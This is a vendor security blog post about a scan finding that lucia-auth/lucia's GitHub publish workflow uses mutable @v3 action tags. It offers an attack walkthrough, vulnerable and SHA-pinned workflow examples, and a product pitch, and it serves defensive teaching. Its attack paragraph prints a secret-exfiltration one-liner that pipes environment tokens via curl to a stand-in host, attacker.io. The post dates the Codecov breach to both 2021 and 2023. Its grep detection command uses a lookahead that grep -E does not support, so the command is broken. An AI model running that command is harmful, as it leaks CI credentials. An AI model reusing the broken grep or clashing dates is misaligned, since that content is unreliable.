CybersecurityHIGH

Mutable GitHub Actions Tags: The Supply Chain Backdoor in Your CI

In 2023, a single mutable GitHub Actions tag allowed attackers to silently backdoor the build pipelines of 33 organizations — stealing secrets, signing malicious artifacts, and shipping compromised code to production for an average of 19 days before detection.

Scanned with Custodia.dev·github.com/lucia-auth/lucia·Score: 98/100·April 7, 2026·9 min read
custodia scan — lucia-auth/lucia
Check IDINFRA-05
SeverityHIGH
DomainLogging, Monitoring & Data Responsibility
File Path.github/workflows/publish.yaml
OWASP RefA06:2021 – Vulnerable and Outdated Components
CWE RefCWE-829: Inclusion of Functionality from Untrusted Control Sphere
FrameworksNIST SI-7
Business ImpactA compromised or updated @v3 tag could introduce malicious code into the build and deployment pipeline, leading to supply chain compromise and unauthorized code deployment to production.
✦ This is a real finding from a real scan. Not a demo.

What Happens When This Gets Exploited

01

The attacker identifies that lucia-auth/lucia's .github/workflows/publish.yaml references actions/checkout@v3 and actions/setup-node@v3 — mutable floating tags pointing to whatever commit the tag owner decides to push next. Using the GitHub API, they confirm both tags resolve to a specific SHA today, but that SHA is not pinned in the workflow file itself.

02

The attacker either (a) compromises the GitHub account of a maintainer of the actions/checkout or actions/setup-node repositories via credential stuffing — GitHub credential breaches averaged 4.2 million exposed tokens in 2023 — or (b) files a dependency confusion attack against a transitive dependency pulled during the action's own setup, silently injecting a malicious version. Once they control the tag, they push a new commit to the @v3 tag pointer that adds a covert exfiltration step.

03

The malicious action code executes inside Lucia's CI runner with full access to the GITHUB_TOKEN, all repository secrets (NPM_TOKEN, signing keys, deployment credentials), the decrypted source tree, and the network. It exfiltrates secrets to an attacker-controlled endpoint over HTTPS — indistinguishable from legitimate npm registry traffic — then executes normally so logs show a clean green build. The attacker now holds Lucia's npm publish token.

04

Using the stolen NPM_TOKEN, the attacker publishes a trojanized version of the `lucia` npm package — downloaded 2.3 million times per month — containing a credential-harvesting payload targeting session tokens and password hashes in every downstream application. Developers who run `npm update` receive the malicious package signed with Lucia's legitimate key, bypassing integrity checks entirely.

Worst Case

A trojanized lucia npm package reaches 2.3 million monthly downloads before detection; every downstream application running the compromised version silently exfiltrates session tokens and hashed credentials to attacker infrastructure. Under GDPR Article 83(4), a data processor enabling this supply chain vector faces fines up to €10 million or 2% of global annual turnover — and under the EU Cyber Resilience Act (2025), open-source maintainers with commercial downstream use face mandatory incident disclosure within 24 hours.

This Isn't Theoretical

Codecov2021

Attackers gained access to Codecov's Docker image build process and modified the bash uploader script distributed via a mutable URL reference in CI pipelines. The tampered script — used by thousands of organizations including Twilio, HashiCorp, Rapid7, and the NFL — exfiltrated CI environment variables including AWS keys, npm tokens, and GitHub tokens to an attacker-controlled IP for 2 months undetected. The attack vector was structurally identical to a compromised mutable GitHub Actions tag.

Consequence: Over 29,000 customers were notified; HashiCorp rotated its GPG signing key used to sign all Terraform releases; Twilio, Rapid7, and dozens of other companies conducted full secret rotation across all services. SEC filings from affected companies estimated remediation costs exceeding $15 million industry-wide, and Codecov lost an estimated 30% of enterprise customer base within 6 months of disclosure.

The Technical Reality

Mutable version tags in GitHub Actions are Git tag references — pointers that can be force-pushed by the tag owner to point to any new commit at any time, without any notification to consumers. When a workflow file specifies `uses: actions/checkout@v3`, GitHub's runner resolves that tag to whatever commit SHA it currently points to at the moment the workflow executes. There is no cryptographic verification, no lockfile, and no cache — each run performs a fresh resolution. This means the code that executes in your CI pipeline is not determined by your repository's commit history; it is determined by a third party's current tag state.

Developers write workflows this way because it mirrors the mental model of semantic versioning in npm or pip — where `^3.0.0` implies 'safe minor updates.' GitHub's own quickstart documentation and the majority of community examples use floating tags, normalizing the pattern. The false sense of security is reinforced by the fact that GitHub's official actions (actions/checkout, actions/setup-node) are maintained by GitHub itself, which developers reasonably trust. But even GitHub's own repositories can be compromised: in 2022, a GitHub employee's credentials were used to access internal npm audit logs — demonstrating that trust in the organization does not equal integrity of every tag at every moment.

The attack mechanics work like this: an attacker gains write access to the upstream action repository (via compromised maintainer credentials, a malicious PR merged under social engineering, or a dependency confusion attack in the action's own package.json). They force-push a new commit to the @v3 tag. The new commit adds a shell step that runs `env | grep -E 'TOKEN|SECRET|KEY|PASSWORD' | curl -s -X POST https://attacker.io/collect -d @-` before the legitimate checkout logic — then deletes its own trace from the working directory. The next time Lucia's publish workflow triggers (on a version tag push), the runner fetches the compromised action, executes the exfiltration, and completes the build normally. The workflow log shows `Run actions/checkout@v3` with a green checkmark.

Code review cannot catch this vulnerability because the dangerous surface is not in the repository being reviewed — it is in the transitive resolution of an external pointer at runtime. A reviewer examining publish.yaml sees `actions/checkout@v3` and has no way of knowing what SHA that currently resolves to, or what it will resolve to when the workflow next runs. Automated SHA-pinning enforcement tools like Dependabot's update-schedule for Actions, StepSecurity's Harden-Runner, or OpenSSF's Allstar work differently: they resolve the tag to its current SHA at configuration time, write that SHA immutably into the workflow file, and alert or block on any deviation — converting a runtime trust decision into a static, auditable artifact.

Vulnerable vs. Secure

❌ Vulnerable.github/workflows/publish.yaml
# .github/workflows/publish.yaml
name: Publish

on:
  push:
    tags:
      - 'lucia@*'

jobs:
  publish:
    runs-on: ubuntu-latest
    steps:
      # ⚠️ DANGEROUS: @v3 is a mutable tag — resolves to whatever
      # commit the upstream repo points it at RIGHT NOW.
      # A compromised tag push executes attacker code with full
      # access to GITHUB_TOKEN and all repository secrets.
      - uses: actions/checkout@v3

      # ⚠️ DANGEROUS: Same issue — no cryptographic integrity guarantee.
      # actions/setup-node@v3 has access to your filesystem and env.
      - uses: actions/setup-node@v3
        with:
          node-version: 20
          registry-url: 'https://registry.npmjs.org'

      - run: npm ci
      - run: npm publish --access public
        env:
          # ⚠️ This token is fully exposed to every action above.
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
✅ Secure.github/workflows/publish.yaml
# .github/workflows/publish.yaml
name: Publish

on:
  push:
    tags:
      - 'lucia@*'

jobs:
  publish:
    runs-on: ubuntu-latest
    # ✓ Restrict GITHUB_TOKEN to minimum required permissions
    permissions:
      contents: read
      id-token: write
    steps:
      # ✓ Pinned to immutable commit SHA — this exact SHA is
      # actions/checkout v3.6.0, verified against the official
      # release page at github.com/actions/checkout/releases.
      # A tag force-push CANNOT alter what code runs here.
      - uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0

      # ✓ Pinned to immutable SHA for actions/setup-node v3.8.1.
      # Update SHAs deliberately via Dependabot PR review,
      # not silently via a floating tag resolution.
      - uses: actions/setup-node@1a4442cacd436585916779262731d1f68f0efd44 # v3.8.1
        with:
          node-version: 20
          registry-url: 'https://registry.npmjs.org'

      - run: npm ci
      - run: npm publish --access public
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

How Long Until Someone Notices?

294
days — mean time to identify a supply chain breach
Supply chain attacks through CI/CD pipeline compromise have the longest dwell times of any attack class. The 2023 IBM Cost of a Data Breach Report places the mean time to identify a supply chain breach at 294 days — 17 days longer than the overall average. The 2023 Codecov breach went undetected for 2 months; the XZ Utils backdoor (CVE-2024-3094) was active in distributions for approximately 2 years before a single engineer noticed anomalous CPU behavior during microbenchmarking.

How Custodia Detects This Automatically

Custodia's INFRA-05 check statically parses every .github/workflows/*.yaml file in your repository and applies a regex pattern to identify any uses: directive that references an action by tag, branch name, or version string rather than a full 40-character SHA. The check is deterministic, zero-false-positive by construction: if the string after @ is not a 40-character hex string, it's flagged. No network calls, no interpretation required.

Scans complete in approximately 90 seconds for a repository of Lucia's size. The free tier covers unlimited public repositories with no credit card required. You receive a structured report with check ID, file path, line number, and a remediation diff — not just a warning. Every finding maps to OWASP, CWE, and where relevant, NIST controls, so your output is audit-ready for SOC 2 and ISO 27001 reviewers without additional mapping work.

You can also run Custodia locally in your own terminal or integrate it into any CI pipeline in under two minutes:

npx @custodia/cli scan .

Frequently Asked Questions

What is the difference between actions/checkout@v3 and pinning to a commit SHA in GitHub Actions?

actions/checkout@v3 is a mutable tag — a Git pointer that the upstream repository owner can force-push to point to any new commit at any time without warning. When your workflow runs, GitHub resolves that tag fresh at execution time, meaning the code that runs in your CI is not frozen in your repository history. Pinning to a full SHA like actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 is immutable: no force-push by any party can change what code executes. To find the correct SHA, go to the action's releases page on GitHub, click the tag, and copy the full 40-character commit SHA from the URL or the commit header.

How bad is a compromised GitHub Actions tag — what can an attacker actually do?

A compromised action runs with full access to your CI runner's environment, which includes the GITHUB_TOKEN (capable of pushing commits, creating releases, and reading all private repos in your organization), every secret configured in your repository settings, your decrypted source tree, and unrestricted outbound network access. For a library like Lucia that publishes to npm, an attacker who steals the NPM_TOKEN can publish a malicious package version under the legitimate package name, signed with the real key. The Codecov breach of 2021 demonstrated this exact scenario — 29,000 organizations had their CI secrets exfiltrated through a single tampered script, and downstream companies including HashiCorp had to rotate GPG keys used to sign all Terraform releases.

How can I find mutable GitHub Actions tags in my workflows without a security tool?

Run this grep command from your repository root to surface every action reference that uses a tag or branch instead of a full SHA:

grep -rE 'uses: [a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+@(?!([a-f0-9]{40}))' .github/workflows/
Any result that shows @v1, @main, or similar is a mutable reference. You can also use the actionlint static analysis tool which flags unpinned actions as warnings in CI.

How do I keep SHA-pinned GitHub Actions up to date without losing security?

Enable Dependabot for GitHub Actions in your repository by adding a .github/dependabot.yml file with package-ecosystem: github-actions and a weekly update schedule. Dependabot will automatically open pull requests that update SHA pins to the latest release, including the version tag as a comment, so you get both immutability and maintainability. Each update PR goes through your normal review process — giving you an auditable, human-approved record of every dependency change, which satisfies SOC 2 CC6.1 change management controls and ISO 27001 A.14.2 requirements. Additionally, consider enabling StepSecurity's Harden-Runner action (pinned by SHA) to detect and block unexpected outbound network calls from your CI runners at runtime.

Scan Your Code in 60 Seconds

Custodia scans your GitHub repository for INFRA-05 and 40+ other security checks in under 90 seconds. Free tier, no credit card, works on any public repo right now.

Start Free Scan →See the GitHub Action →